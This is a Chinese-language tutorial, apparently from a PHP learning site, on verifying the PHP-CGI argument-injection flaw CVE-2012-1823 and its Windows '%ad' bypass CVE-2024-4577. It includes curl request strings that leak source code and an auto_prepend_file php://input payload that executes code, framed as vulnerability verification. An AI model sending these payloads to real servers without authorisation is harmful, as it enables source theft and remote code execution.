cve-2012-1823漏洞存在于php 5.3.11 cgi模式下,当query_string不含“=”时会被当作命令行参数解析,可导致源码泄露或rce;windows下还存在cve-2024-4577绕过变种。

直接用 curl 测试 QUERY_STRING 是否被当作命令行参数
PHP 5.3.11 在 CGI 模式下(不是 mod_php 或 php-fpm)存在 CVE-2012-1823,核心问题是:当 QUERY_STRING 中不含 = 字符时,php-cgi 会将其原样当作命令行参数解析。验证的关键就是触发这个行为,看是否返回源码或报错信息。
最简验证方式是向 /index.php 发起带特殊 query 的请求:
- 访问
http://target/index.php?-s—— 正常应返回index.php的高亮 HTML 源码(PHP 语法着色输出) - 访问
http://target/index.php?-v—— 应返回 PHP 版本信息(类似命令行php -v) - 访问
http://target/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input并在 body 中发<?php phpinfo();?>—— 若成功执行,说明已 RCE
注意:必须确保 Web 服务器确实调用的是 php-cgi(而非 mod_php),可通过 phpinfo() 页面查看 Server API 显示为 CGI/FastCGI;若显示 Apache 2.0 Handler 则不在此漏洞影响范围内。
Windows 下需额外测试 %ad 绕过(CVE-2024-4577)
如果你的目标是 Windows 系统且语言/代码页为 GBK(如简体中文 Windows,默认 cp936),那么即使服务端打了 CVE-2012-1823 的补丁,仍可能被 %ad(软连字符 U+00AD 的 URL 编码)绕过。这是因为 Windows CRT 在 main() 入口对 argv[1] 做 Best-Fit 转换时,%ad 会被映射为 ASCII -,而 PHP 补丁只检查原始字节是否为 -,漏掉了这个编码转换层。
验证方法:
- 发送
curl "http://target/index.php?%ad-s"—— 若返回源码,说明存在 CVE-2024-4577 - 发送
curl "http://target/index.php?%ad-d+display_errors%3d1"—— 若响应头出现X-Powered-By: PHP/5.3.11且页面输出错误提示,即确认绕过生效 - 不要用浏览器直接访问,部分浏览器会自动解码
%ad并丢弃,必须用curl或 Burp 手动构造原始请求
避免误判:确认 CGI 模式与路径可访问性
很多“验证失败”其实是因为环境不满足前提条件。PHP-CGI 漏洞不是所有 PHP 部署都受影响,必须同时满足:
- 运行模式是 CGI(
phpinfo()中Server API显示CGI/FastCGI,且未使用 php-fpm 管理) - Web 服务器配置中,
.php文件实际由php-cgi二进制文件处理(例如 Apache 的Action application/x-httpd-php /cgi-bin/php-cgi) -
php-cgi可执行文件本身位于 Web 可访问路径下(如/cgi-bin/php-cgi),否则攻击链无法启动 - Linux 下还需确认系统未启用
disable_functions拦截了system、passthru等函数(虽然漏洞利用阶段不一定立即调用,但后续 EXP 依赖)
一个典型误判场景:你看到 phpinfo() 显示 CGI/FastCGI,但其实是 php-fpm —— 这种情况下 -s 参数根本不会被传递给 PHP 解释器,验证必然失败。
别跳过 phpinfo() 和版本确认这一步
PHP 5.3.11 是明确受影响的版本,但实际环境中常有多个 PHP 版本共存。务必用真实 Web 请求获取版本,而不是在 shell 里跑 php -v —— 后者可能指向 CLI 版本,和 Web 使用的 CGI 版本完全无关。
操作步骤:
- 上传一个临时
phpinfo.php(内容为<?php phpinfo(); ?>),通过浏览器访问它 - 在输出页面顶部找
PHP Version,确认是5.3.11(注意不是5.3.11-xxx衍生版,某些发行版打了 backport 补丁) - 搜索
Server API,值必须是CGI/FastCGI,且下方Configuration File (php.ini) Path指向的配置文件,其disable_functions未禁用highlight_file(否则-s不会输出源码) - 验证完立刻删掉
phpinfo.php,避免敏感信息长期暴露
最易忽略的一点:漏洞利用依赖 PHP 内部对 QUERY_STRING 的解析逻辑,而该逻辑在 CGI 模式下才启用。任何基于 mod_php、php-fpm、甚至嵌入式 SAPI 的部署,都不会进入这段代码路径 —— 所以验证前,先坐实“它真是 CGI”。
php免费学习视频:立即使用
踏上前端学习之旅,开启通往精通之路!从前端基础到项目实战,循序渐进,一步一个脚印,迈向巅峰!











